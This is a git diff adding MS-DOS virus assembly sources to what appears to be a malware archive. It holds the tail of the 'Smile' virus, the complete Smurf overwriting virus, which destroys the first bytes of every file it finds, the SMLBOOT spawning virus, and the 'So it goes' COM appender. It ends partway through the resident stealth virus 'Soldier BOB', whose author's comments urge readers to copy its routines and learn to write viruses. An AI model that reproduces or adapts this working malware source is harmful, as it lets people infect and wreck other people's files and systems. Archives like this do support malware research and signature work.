89, 7, 99,228, 57,159, 33,236,120, 15, 35,100, 57,155, 53 + db 196,104,143, 51,102,184,141, 16,230,124,199, 57,226, 28,199,144 + db 230, 60, 67,153,242, 28,231,200,115, 30, 97,204,121,143, 49,230 + db 60,199,136,115,143, 1,198, 60,103,140,113,142, 56,211, 30,120 + db 240, 30, 60, 62, 77,207,153,225,124,124,153,118,126, 28,193,230 + db 60,135,129,242, 60,103,135,112,124, 31,140,112,238,120,227,184 + db 159,142,112,238, 57,145,231, 9,199,217,134,100,108, 3,163,248 + db 110,207,136, 97,199, 32,231, 63,135,136,242,102, 52,217,180,113 + db 198,112,227, 57,199, 4,193,204,115,142, 35, 12,219,156,118, 92 + db 203, 24, 99,128,241, 60, 39,204, 57, 31, 36,201,157, 19,230,108 + db 205,159, 99, 46,237,217, 51, 39,204, 28, 7, 12,120, 28,115,206 + db 124,142, 51,178, 60, 57,158, 62, 99, 12,153,209, 28,226,140, 51 + db 195, 24,243,188,230,217,227,144,240,158, 19,134,112, 79,200,241 + db 63,198,225,231,145,226,126, 79,129,243, 60, 79,129,240,120, 31 + db 3,192,240, 62, 15,193,240,120, 31, 3,225,240, 62, 31, 3,224 + db 240, 63, 15, 3,224,240, 63, 31, 7,225,240,126, 63, 7,225,248 + db 126, 31,135,225,220,110, 29,227,112,207, 27, 7,124,111, 28,241 + db 190, 60,227,100, 76,243, 60, 71,152,224,248, 63,135,227,248,126 + db 28,135,129,224,248, 63, 31,131,145,240,124, 47, 15,227,240,126 + db 31,131,224,248, 62, 31,198,241,220, 59, 15, 49,224, 56,143, 17 + db 199,185,248,126, 31,133,224,248, 62, 59,135, 96,252, 60, 23,197 + db 192,248, 60, 31, 49,196,241,216, 51,153,195,141,140,140, 62, 71 + db 102,248,190, 61,199,144,226, 62, 51,129,225,252, 62, 19,100,230 + db 49,140,115, 28, 3,160,224, 60, 71,131,226,248,156, 51,131,113 + db 248, 59,143,137,198, 56, 46, 29,193,240,230, 61,199, 57,230, 56 + db 215, 23, 38,120,230, 57,198, 35,198,108,141,148,113, 57,226, 57 + db 199,120,254, 15, 99,248, 70,197,200, 59, 31,225,248,191, 7,195 + db 232,126, 31, 3,240,252, 61,143,225,204,127, 14, 99,252,115,143 + db 227,204,119,143, 49,206, 60,199, 56,121,142,112,227,140,113,143 + db 199,216, 60,199, 33,248,121,143, 1,198, 57,198,204,227,156,224 + db 126, 30, 67,227, 56, 62, 29,143, 25,200,230, 30, 99,204,113, 14 + db 49,131, 92,197,206,120,238, 17,200,121, 7, 25,196, 24,222, 7 + db 0,112, 98, 61,142, 99,252, 63, 15,140,236,198,115, 70, 78,224 + db 220, 51,134,112, 78, 55,135,112,230, 56,254, 49,195,152,124,103 + db 35,182,113,133,225,188, 14,131,182, 62,121, 51, 7, 44,227, 25 + db 223, 24,228, 79,199,192,124, 15, 0,226,120,153, 49,202, 26, 39 + db 113,240,187, 31,225,240,117, 12,200,232,230, 51, 39,140,241, 29 + db 25,200,113,155,153, 62, 30, 3,168,113, 30, 1,195, 48, 76,127 + db 142, 99, 29,175, 57,142,195,243,220, 24,142, 3,136,248, 30, 19 + db 70,240,123, 59,199,120,227, 56,115, 15,199,248,248, 31, 3,193 + db 216, 57,142,113,206, 57,177,183,121,185, 3,248,206, 11,156,115 + db 129,156, 55,145,216, 95, 19,241,190,103,227,248, 31,139,240,118 + db 31,193,216,127, 7,113,126, 29,199,248,127, 15,224,252, 63,195 + db 184,255, 12,227,252, 51,142,240,206, 57,195,152,115, 12,227,156 + db 115,142,113,206, 56,199, 56,227, 28, 97,140,121,198, 57,231, 28 + db 227,156,115,143, 56,199, 14,120,143,134,120, 79, 14,120,223, 15 + db 222, 51,227, 29,193,252,103,135,152,142, 12,228,114, 59,152,204 + db 224, 55, 25,241,156,100,199, 57,185, 28,199,204,113,159, 24,198 + db 7, 2, 57,207, 12,113,198, 56,249,193,220,115, 7, 3,225,240 + db 30,208,226, 28, 97,192, 56,193, 67, 51, 49,142,207,140,240,142 + db 49,227,156,103,131, 57,142, 99,226, 60, 15,128,240, 30, 7,145 + db 249, 14, 1,224, 61,131,240,115, 14, 65,248,121, 7,160,230, 63 + db 195,220, 63,135,240,158, 25,195, 24,231, 24, 99,156, 49,206,115 + db 135, 57,200,156,103, 48,113,142,112,198, 59,195, 24,231, 14,113 + db 156, 27,196,112,231, 61,241,220,127,134,113,220, 29,199, 55,127 + db 15,225,252, 31,135,248, 31, 15,231,156,103, 14,227,252, 51,152 + db 61, 6,120,207, 3,248,158, 7,240, 62, 67,224,124, 15,224,252 + db 143,192,241, 31,129,226, 62, 7,192,252, 31,129,248, 63, 7,240 + db 124, 15,193,248, 63, 7,224,254, 31,193,248, 63, 7,240,254, 15 + db 193,252, 63,131,240, 63, 7,224,126, 31,193,252, 63,131,248,190 + db 7,241,124, 31,227,252, 63,195,248, 63,199,240,125,199,216,120 + db 227, 14, 48,248, 15,128,252, 31,195,248,103, 3,241,220, 7,195 + db 248,127,135,240,126, 15,224,252, 31,129,248, 63, 7,240,120, 15 + db 128,240, 63, 15,224,254, 31,193,248, 31, 3,225,246, 31,195,220 + db 63,131,240, 63,131,224,126, 7,224,252, 31,195,252, 62, 7,248 + db 124, 15,177,248, 15, 3,240,254, 7,128,248, 15, 1,248, 30, 7 + db 192,124, 15,129,242, 59,131,192,116, 30, 3,232,126, 7,224,254 + db 7,192,252,103, 3,152,244, 23, 3,224, 60, 7,194,188, 7,129 + db 252, 47, 7,176,126, 15,224,252, 25,194,241, 57,199,112,112, 15 + db 1,248, 31,135,240,255, 15,225,248, 31,131,248,124, 3,240,124 + db 15,129,240, 31, 3,224,125, 7,160,126, 15,192,230, 28,227,136 + db 120, 7,176,244, 30,193,240, 61, 7,176,246, 14, 1,200, 28, 3 + db 128, 60, 7,134,120, 79,129,248,127, 7,230,120,199,152,225, 14 + db 115,192, 57,199, 28,115, 7, 25,254, 78,231, 59,221,200, 15,204 + db 156,152, 14,236,252,136,142,236,204,136, 76,204,249,144, 25,147 + db 114,100,118,111,145, 39,191,249, 19,247, 36,127,152, 19,254,136 + db 159,176, 7,254, 1,127,192, 31,252, 1,255,128, 31,230, 65,254 + db 0,127,216, 19,254, 1,127, 32, 15,248, 1,255,192, 31,248, 3 + db 254, 0,255,192, 31,248, 1,255,128, 31,224, 7,252, 9,190, 96 + db 15,236, 9,255, 0,159,176, 7,251, 2,127,128, 31,216, 11,252 + db 129,191,144, 15,252, 3,255,128, 63,228, 13,254, 0,255,240, 7 + db 254, 1,191,192, 31,252, 1,255, 0,127,248, 19,127,129, 63,228 + db 15,254, 0, 63,224, 13,254, 34, 55,228, 73,254,100,223,124,201 + db 191,224, 25,179, 32, 79,236,137,255,192, 79,254, 0,255,200, 23 + db 249, 32,155,108,130,102, 76,200,204,222, 4,166,251, 19, 32, 31 + db 236,140,236,204,108,204,153, 20,217,153, 25,179, 32,118,249,166 + db 219, 32, 23,108,146,108,200,111,230, 70,236,195, 63, 36, 71,201 + db 153, 59, 36,219,178,110,236,130, 93,194,102,249, 32,207,228, 66 + db 123,146, 59, 51, 38,153, 50,219,100,251,153,157,154,100, 99, 54 + db 108,195, 50,121,182,217,166,125, 50, 79, 54, 73,178,204,214,108 + db 147, 51, 33,147,108,200,155,177, 37,179,102, 3,237,140,154,136 + db 155,246, 68,255,236,137, 19, 63,204,153,191,144, 19,254, 64, 79 + db 252, 4,255,128, 63,240, 7,255, 19,119,233, 19, 51, 34, 55,120 + db 2,110,201, 63,220,139,230, 98,127,140,102,243,201,155,216, 7 + db 243, 19,124,204,137,190, 3,246,115, 51, 38,100,219, 96, 59, 62 + db 68,155,200,159,236,201,178,100, 73, 51, 19,153,140,155, 49, 19 + db 236,131,127,241, 3,252,205,222, 25,153,255,145, 62, 3,102, 76 + db 217, 31,204, 31,153,191,112, 63,177,187,204, 76,119,112, 29,196 + db 27,243, 38,204,199, 51, 54, 76,157,230, 77,217,144, 63,228, 79 + db 100,178,100,205,143,236, 25,147,120,129,248, 3,252,146,220,132 + db 216,157,217,183, 51, 35,147,205, 36,216, 25,155, 50,101,147,147 + db 38,196,105, 50, 71,199, 28,216,115, 48,205,179, 38,216, 60,179 + db 97,230,109,147,110, 38,121, 48,227, 64,204,198, 7, 14,108, 76 + db 184,240,195,239,134,115, 55,137, 15,184, 38,108, 12, 25,204,104 + db 243, 97,147,199, 39,152, 54,125, 49,243,179,102,205,204,155, 54 + db 126, 89, 60,217,102,195, 39,131, 79, 7,156, 38,121, 48,112,217 + db 225,159,227, 19, 12,150, 67, 54, 77,188,153, 60,250,108,155,108 + db 61,200,134, 79, 46,192,221, 3,255, 17,240,255,240, 62, 13,254 + db 19,178,223,128,204, 39,209, 44,153,225,180, 29,225, 60, 63,194 + db 120, 63, 1,248,188, 15,113,116, 27, 7, 51,204,115, 30,230, 59 + db 133,241, 60, 7,145,236,206,195,184,222, 3,137,242, 60,140, 99 + db 228,241,159, 23, 68,216,249, 15, 17,134,199, 65,126, 63, 7,216 + db 254, 31,227,232, 59,143,226,254, 55,135,241,188,101,199, 57,135 + db 198,112,159, 31,195,248,158, 71,249,199,145,240,248, 15,103,204 + db 19,141,195, 56,143,129,252, 7,167,241, 61,140,225,156, 3,136 + db 114, 30, 49,204,240,118, 48,195, 30, 71,192,121, 23, 1,248,198 + db 48,236, 49,156,241, 12,143,130,120,254, 15,226,184,251, 19,217 + db 253, 39,155, 98, 45,144,204, 55,155,113,159, 39, 97,242,187, 6 + db 244,195, 60,102,217,131, 38, 51,129,196,198, 12,224,198,125,100 + db 147,201, 53,159, 99, 60, 27, 97,188,142, 55,128,241,204,198,109 + db 130, 25,229,152,121,147, 49,140,153, 36,194,115, 24,198,121, 39 + db 152,243, 55, 19,198,126, 25,201,236,247, 25,196,120,141, 36,243 + db 46, 49,152,242, 12,195,199, 61,143,136,217,142,103, 56,205,129 + db 144, 25,135,185,156, 63,152,202, 59,135, 55,137,230,122,108,220 + db 61,184,206,102, 62,102, 31,142,153,231,211,206,225,231,151,105 + db 246,199,241,249,143,195,246,159,147,223,142,209,251,143,227,157 + db 159, 99,207, 25,199, 24,126,143,230,120,158,113,218, 63,199,240 + db 237,142,131,159, 57,230,120,238, 63,227,152,231,142,115, 30,115 + db 140,249,230,117,227,156,251,140,227,188,119,152,241, 26, 96,206 + db 97,135, 61,199,159, 57,103,188,103, 24,241,248,115, 56,230, 6 + db 227,188,115,204,124, 31,141,193,214,115,198,119,135, 49,142, 60 + db 199, 48,115, 28,227,156,113,140,113,198, 24,198, 56,115, 26, 33 + db 205,204,131, 51, 31, 12,206, 60, 51,152, 49,206, 99,199, 51,140 + db 205,142, 60, 51,152,224,228,227,153, 49,198,198,227, 51,143, 14 + db 134, 54,118, 56,152,252, 99,227,185,207,143,198,103, 51,142,156 + db 159, 28,224,113,179,140,228,204, 39, 71,113,156,100,228,225,163 + db 137,204,158,103, 49,115, 12,193,204,199,139,204,204, 51,163, 26 + db 56,204,225,198, 27,211,120,255, 46,225,239, 31,135, 92,111, 27 + db 147,156,114,229,147,142, 49,204,103,142, 57,156,152,236, 28,131 + db 179,113,198, 32,238, 53, 15, 29,241,120,247, 62, 53, 25,158, 48 + db 11,153, 54, 15, 28,230, 28,241,220,241,206,225,175, 27,134,102 + db 103, 24,249,220,102,204,243, 51, 51,140,204,166, 51,103, 57,153 + db 147,103,104,206,121,204, 99,204,123, 60, 25, 38, 51, 98,218,123 + db 22, 70, 28,219, 44,147, 76,192,227,200, 49,205,164,219,154,102 + db 23, 54, 78, 60,218,100,216,210,100,241,228,231,201,167, 57,140 + db 54, 15,206, 51, 47, 35,136,201,153, 35,140,115,134, 58,115,102 + db 120,236,204,153,163,120,198, 51,152, 54,204,225,147,101,201, 51 + db 13,193,178, 62, 77,195, 52,207,202,204,120,193,142,108,209,227 + db 28, 97,147, 19,152, 56,227,142, 92,240,199, 30, 48,241,207, 25 + db 108,157,109,199,155, 28, 97,155, 39, 28,241,205, 30, 24,226,199 + db 28, 49,225,134, 56,229,154,108, 97,207, 62, 56,231, 14,124,200 + db 54, 76,227,156, 56,227,143, 12,104,231, 28,179,103, 60,249,227 + db 135, 28,120,227, 6, 24,115,139, 56, 56,199,134, 56,115,199, 60 + db 153,204,222,108,241,195, 30, 60, 49,199,142, 24,112,227,134,115 + db 51,155, 28,113,205,134,120,242, 99,143, 30,113,154, 44,249,231 + db 150,124,113,241,158, 25, 98,206, 92,179,231,143, 56,227,166, 12 + db 32,199, 48,105,147, 25,156,108,204, 28, 51, 39,198,153,176,224 + db 252,216,103, 30, 71,205,131, 1,204,217,145,114, 60, 62,125, 60 + db 31, 30, 76,158, 22,108,217, 25,176,204,158, 55,137,140,220,104 + db 226,204,105,241,204,201,227,204,201,227,140,203,195,156,207,199 + db 28,199,195,140,199,195,156,199,231,140,199,195,156,207,206,121 + db 159, 38, 57,153,142,121,153,156,241,145,140,241,179,153,241,178 + db 204,209,131,153,227, 38,217,205,151, 28,198,103, 59, 25, 50, 77 + db 153, 46,121,140, 39, 49,140, 51, 50,102, 76,115,198, 12, 99,156 + db 99,102,147,248,205,156,119,142,156,126, 76, 12,110, 77,152,236 + db 198, 56,102,102,120,220,243, 76,206,100,152,198, 49,153,152, 60 + db 223, 28,189, 55, 25,198, 15, 60,114, 14, 25, 51,207, 50,227, 19 + db 36, 67,223,102,199, 92,102,131, 4,100,115,126,236,214, 48,108 + db 77,191,204, 6,124,253,152, 32,255,136, 78,243,128,127,240, 59 + db 255, 0, 63,252, 15,251,192, 31,254, 3,255,192, 31,254, 3,255 + db 192, 63,252, 15,127, 0,127,240, 3, 16, 7,255,240, 32, 15,251 + +SampleEnd equ this byte + +;------------------------------------------------------------------------------ +; +; Variables +; +;------------------------------------------------------------------------------ + +Active db -1 +ActiveYear dw -1 +ActiveDate dw -1 + +OldInt8 equ this dword ; orginal interrupt 8 +OldInt8o dw -1 +OldInt8s dw -1 +OldInt1C equ this dword ; orginal interrupt 1ch +OldInt1Co dw -1 +OldInt1Cs dw -1 +OldInt21 equ this dword ; orginal interrupt 21h +OldInt21o dw -1 +OldInt21s dw -1 + +Count dw -1 ; timer count +SampleOffset dw -1 ; Used to make sound +SampleBit db -1 +SampleFlag db -1 +Handle db 24 dup(-1) ; Filehandles + +cseg ends + +;------------------------------------------------------------------------------ +; +; Orginal EXE-file +; +;------------------------------------------------------------------------------ + +mseg segment public 'code' + assume cs:mseg, ds:mseg, es:mseg + + + db 'MZ' ; header + dw PrgSize ; PartPage + dw 1 ; PageCount + dw 0 ; relocation items = 0 + dw 0 ; headersize = 0h + dw 80h ; minimum memory + dw 0ffffh ; maximum memory + dw (PrgSize+15)/10h ; ss + dw 7feh ; sp + dw 0 ; chksum + dw offset Orginal ; ip + dw 0 ; cs + dw 1ch ; offset relocation table + dw 0 ; overlay number + +Orginal: mov ah,9 ; display warning + push cs + pop ds + mov dx,offset Warning + int 21h + mov ax,4c00h + int 21h ; terminate + +Warning db 13,10 + db 'WARNING:',13,10 + db 13,10 + db 'Smile virus has now infected the partition table !!!!!',13,10 + db 13,10 + db '$' + +mseg ends + +sseg segment stack 'stack' + db 800h dup(?) +sseg ends + +end Main + +; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 +; 陳陳陳陳陳陳陳陳陳陳> and Remember Don't Forget to Call <陳陳陳陳陳陳陳陳 +; 陳陳陳陳陳陳> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <陳陳陳陳陳 +; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 diff --git a/MSDOS/Virus.MSDOS.Unknown.smlboot.asm b/MSDOS/Virus.MSDOS.Unknown.smlboot.asm new file mode 100644 index 00000000..c0abf636 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.smlboot.asm @@ -0,0 +1,255 @@ +; SMLBOOT.ASM -- Small Booter Virus +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Virucidal Maniac + +virus_type equ 2 ; Spawning Virus +is_encrypted equ 0 ; We're not encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +start label near + +main proc near + + mov ah,04Ah ; DOS resize memory function + mov bx,(finish - start) / 16 + 0272h ; BX holds # of para. + int 021h + + mov sp,(finish - start) + 01100h ; Change top of stack + + mov si,offset spawn_name ; SI points to true filename + int 02Eh ; DOS execution back-door + push ax ; Save return value for later + + mov ax,cs ; AX holds code segment + mov ds,ax ; Restore data segment + mov es,ax ; Restore extra segment + + call search_files ; Find and infect a file + + call get_floppies + cmp ax,0002h ; Did the function return 2? + jl strt00 ; If less, do effect + call get_serial + cmp ax,0002h ; Did the function return 2? + je strt00 ; If equal, do effect + jmp end00 ; Otherwise skip over it +strt00: + push bp ; Save BP + mov bp,sp ; BP points to stack frame + sub sp,34 ; Allocate 34 bytes on stack + + mov ah,038h ; DOS get country function + lea dx,[bp - 34] ; DX points to unused buffer + int 021h + + xchg bx,ax ; AX holds the country code + + mov sp,bp ; Deallocate local buffer + pop bp ; Restore BP + +end00: pop ax ; AL holds return value + mov ah,04Ch ; DOS terminate function + int 021h +main endp + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + mov dx,offset root ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + mov dx,offset all_files ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + mov dx,offset up_dir ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + mov dx,offset exe_mask ; DX points to "*.EXE" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +exe_mask db "*.EXE",0 ; Mask for all .EXE files +traverse endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov di,bx ; DI points to the DTA + + lea si,[di + 01Eh] ; SI points to file name + mov dx,si ; DX points to file name, too + mov di,offset spawn_name + 1; DI points to new name + xor ah,ah ; AH holds character count +transfer_loop: lodsb ; Load a character + or al,al ; Is it a NULL? + je transfer_end ; If so then leave the loop + inc ah ; Add one to the character count + stosb ; Save the byte in the buffer + jmp short transfer_loop ; Repeat the loop +transfer_end: mov byte ptr [spawn_name],ah; First byte holds char. count + mov byte ptr [di],13 ; Make CR the final character + + mov di,dx ; DI points to file name + xor ch,ch ; + mov cl,ah ; CX holds length of filename + mov al,'.' ; AL holds char. to search for + repne scasb ; Search for a dot in the name + mov word ptr [di],'OC' ; Store "CO" as first two bytes + mov byte ptr [di + 2],'M' ; Store "M" to make "COM" + + mov byte ptr [set_carry],0 ; Assume we'll fail + mov ax,03D00h ; DOS open file function, r/o + int 021h + jnc infection_done ; File already exists, so leave + mov byte ptr [set_carry],1 ; Success -- the file is OK + + mov ah,03Ch ; DOS create file function + mov cx,00100111b ; CX holds file attributes (all) + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,finish - start ; CX holds virus length + mov dx,offset start ; DX points to start of virus + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + +infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +spawn_name db 12,12 dup (?),13 ; Name for next spawn +set_carry db ? ; Set-carry-on-exit flag +infect_file endp + + +get_floppies proc near + int 011h ; BIOS get equiment function + xor ah,ah ; Clear upper bits + mov cl,6 ; Shift AX right six bits, + shr ax,cl ; dividing it by 64 + inc ax ; Add one (at least 1 drive) + ret ; Return to caller +get_floppies endp + +get_serial proc near + int 011h ; BIOS get equiment function + xor ah,ah ; Clear upper bits + mov cl,9 ; Shift AX right nine bits + shr ax,cl ; + and ax,7 ; Clear all but two bits + ret ; Return to caller +get_serial endp + +vcl_marker db "[VCL]",0 ; VCL creation marker + +finish label near + +code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.smurf.asm b/MSDOS/Virus.MSDOS.Unknown.smurf.asm new file mode 100644 index 00000000..c39945df --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.smurf.asm @@ -0,0 +1,69 @@ +陳陳陳陳塚様様様様>>> Article From Evolution #2 - YAM '92 + +Article Title: The Smurf Virus +Author: Admiral Bailey + + +;--- +; The Smurf virus [40 Bytes Long] +; +; Author : Admiral Bailey [YAM '92] +; Date : June 6 1992 +; Language : Assembly [TASM 2.0] +; +; Notes:The Smurf virus was my first attempt at writing the smallest +; overwriting virus known. For a first attempt it wasn't that +; bad. So far I have got it down to 40 bytes. The record that +; does the same as this is about 38 bytes. So I gotta loose 2 +; bytes in here somewhere. Well seeing as this small thing is +; probably the easiest virus in the world to disassemble, I have +; included the source in this issue of Evolution for all of you +; to take a look at. The source is for you to use. If you +; happend to make anything smaller using this source please just +; give recognition to myself, Admiral Bailey, saying that you got +; help looking at this source. The only thing that this does is +; find everyfile in the current directory and overwrite the 1st +; 40 bytes with itself. Then locks your computer while it is in +; a search loop looking for more file when there are none. A +; neat thing about this is that it displays its entire self to +; the screen when executed. Scan 91 notices this as the mini +; virus but I dont blame it seeing that you cant realy avoid +; scan when your virus gets this small. Well enjoy the source... +; and remember if you use it and enjoy it just let me know. +;--- +code segment + assume ds:code, ss:code, cs:code, es:code + org 100h ;Make it a .com file + +virus_start equ $ + +start: + mov dx,offset file_type ;type of file to look for + mov ah,4eh ;Find first file command + +infect: + int 21h + mov ax,3d02h ;open again to reset handle + mov dx,80h+1eh ;moves filename into dx + int 21h + mov bx,ax ;save handle again + mov cx,virus_length ;put size of virus in cx + mov dx,100h ;where the code starts + mov ah,40h ;write to handle command + int 21h ;write virus into file + mov ah,3eh ;close handle service + int 21h ;do it + +find_next_file: + mov ah,4fh ;find next file command + jmp infect + +file_type db '*.*',0 +virus_end equ $ +virus_length = virus_end - virus_start ;length of virus + +code ends + + end start + + diff --git a/MSDOS/Virus.MSDOS.Unknown.soitgoes.asm b/MSDOS/Virus.MSDOS.Unknown.soitgoes.asm new file mode 100644 index 00000000..a76caa8b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.soitgoes.asm @@ -0,0 +1,190 @@ +; soitgoes.asm : [So it goes.] +; Created with Biological Warfare - Version 0.90 by MnemoniX + +PING equ 0AC3Ch +INFECT equ 1 + +code segment + org 100h + assume cs:code,ds:code + +start: + db 0E9h,3,0 ; to virus +host: + db 0CDh,20h,0 ; host program +virus_begin: + push ds es + + call $ + 3 ; BP is instruction ptr. + pop bp + sub bp,offset $ - 1 + + lea dx,[bp + offset new_DTA] + mov ah,1Ah + int 21h + + mov byte ptr [bp + infections],0 + + call infect_dir + + call activate + + pop es ds + mov dx,80h + mov ah,1Ah + int 21h + +com_exit: + lea si,[bp + host] ; restore host program + mov di,100h + push di + movsw + movsb + + call fix_regs ; fix up registers + ret ; and leave + +fix_regs: + xor ax,ax + cwd + xor bx,bx + mov si,100h + xor di,di + xor bp,bp + ret + + +infect_dir: + mov ah,4Eh + lea dx,[bp + find_me] + int 21h + jc infect_done + +next_file: + lea dx,[bp + new_DTA + 1Eh] + call execute + cmp byte ptr [bp + infections],INFECT + je infect_done + mov ah,4Fh + int 21h + jnc next_file + +infect_done: + ret +execute: + push si + + mov ax,4300h ; change attributes + int 21h + + push cx dx ds + xor cx,cx + call set_attributes + + mov ax,3D02h ; open file + int 21h + jc cant_open + xchg bx,ax + + mov ax,5700h ; save file date/time + int 21h + push cx dx + mov ah,3Fh + mov cx,28 + lea dx,[bp + read_buffer] + int 21h + + cmp word ptr [bp + read_buffer],'ZM' + je dont_infect ; .EXE, skip + + mov al,2 ; move to end of file + call move_file_ptr + + sub dx,VIRUS_SIZE + 3 ; check for previous infection + cmp dx,word ptr [bp + read_buffer + 1] + je dont_infect + + add dx,VIRUS_SIZE + 3 + mov word ptr [bp + new_jump + 1],dx + + lea dx,[bp + read_buffer] ; save original program head + int 21h + + mov ah,40h ; write virus to file + mov cx,VIRUS_SIZE + lea dx,[bp + virus_begin] + int 21h + + xor al,al ; back to beginning of file + call move_file_ptr + + lea dx,[bp + new_jump] + int 21h + +fix_date_time: + pop dx cx + mov ax,5701h ; restore file date/time + int 21h + + inc byte ptr [bp + infections] + +close: + pop ds dx cx ; restore attributes + call set_attributes + + mov ah,3Eh ; close file + int 21h + +cant_open: + pop si + ret + + +set_attributes: + mov ax,4301h + int 21h + ret + +dont_infect: + pop cx dx ; can't infect, skip + jmp close + +move_file_ptr: + mov ah,42h ; move file pointer + cwd + xor cx,cx + int 21h + + mov dx,ax ; set up registers + mov ah,40h + mov cx,3 + ret + +activate: ; Insert your routine here + MOV CX,03h + MOV AH,09h + MOV BH,00h + MOV CX,03h + MOV AL,00h + MOV BL,23 + INT 10h + ret + +signature db '[So it goes.]',0 + + +find_me db '*.COM',0 +new_jump db 0E9h,0,0 + +infections db 0 +virus_end: +VIRUS_SIZE equ virus_end - virus_begin +read_buffer db 28 dup (?) ; read buffer +new_DTA db 128 dup(?) + +end_heap: + +MEM_SIZE equ end_heap - start + +code ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.soldierb.asm b/MSDOS/Virus.MSDOS.Unknown.soldierb.asm new file mode 100644 index 00000000..5357fa4f --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.soldierb.asm @@ -0,0 +1,669 @@ + .model tiny + .code + org 100h + +; I made this virus for several month ago, then I forgott it. I recently found +; it on my harddrive, and I compiled it and tried it. To my amazement it worked! +; +; Soldier BOB infects .COM and .EXE files when you execute a file. It also +; saves up to 20 files into a buffer when you use the dos-command 'DIR'. And +; later when dos is counting how much diskspace that's free Soldier BOB will +; infect all files stored into the buffer. Filesize increases are hidden. +; When Soldier BOB has been resident for four hours it will fuck-up the whole +; screen. Try this routine, it's fun to see when your screen being totally mad. +; +; I don't really know exactly what Soldier BOB does because I haven't time to +; figure out all details, but since I've brought the source code, you are free +; to investigate that by yourself. +; +; Please feel free to rip routines and ideas from this source-code. My purpose +; is that everybody (who wants to) can be able to learn how to write a decent +; virus. +; +; If you need any help to write a virus, please do not hesitate to contact +; me on Internet. +; +; - regards, Macaroni Ted / A.N.O.I - 11-27-94 + + ;(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=); + ; A NEW ORDER OF INTELLIGENCE PRESENTS: ; + ; ; + ; S O L D I E R B O B ; + ; ; + ; Copyright (c) Jan-Mar 1994 by Macaroni Ted / A.N.O.I. ; + ; ; + ;(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=); + +start: + call get_bp +get_bp: pop bp + + mov ax,0ff4eh ;(?N-) + int 21h + cmp ax,4f49h ;(-OI) + je already_res + + push ds es + + mov ah,2ch + int 21h + add ch,4 + mov cs:start_time,ch + + call hook_memory + + push es + pop ds + + call hook_interrupts + + pop es ds +already_res: + cmp word ptr cs:[bp+(exe_header-get_bp)],'ZM' + je exit_exe +exit_com: + lea si,[bp+(exe_header-get_bp)] + mov di,100h + cld + movsb + movsb + movsb + movsb + movsb + + xor ax,ax + mov bx,ax + mov cx,ax + mov dx,ax + mov si,ax + mov di,ax + + push cs + push 100h + retf +exit_exe: + mov ax,es ;to code seg + add ax,10h + + add ax,word ptr cs:[bp+(exe_header+16h-get_bp)] + push ax + push word ptr 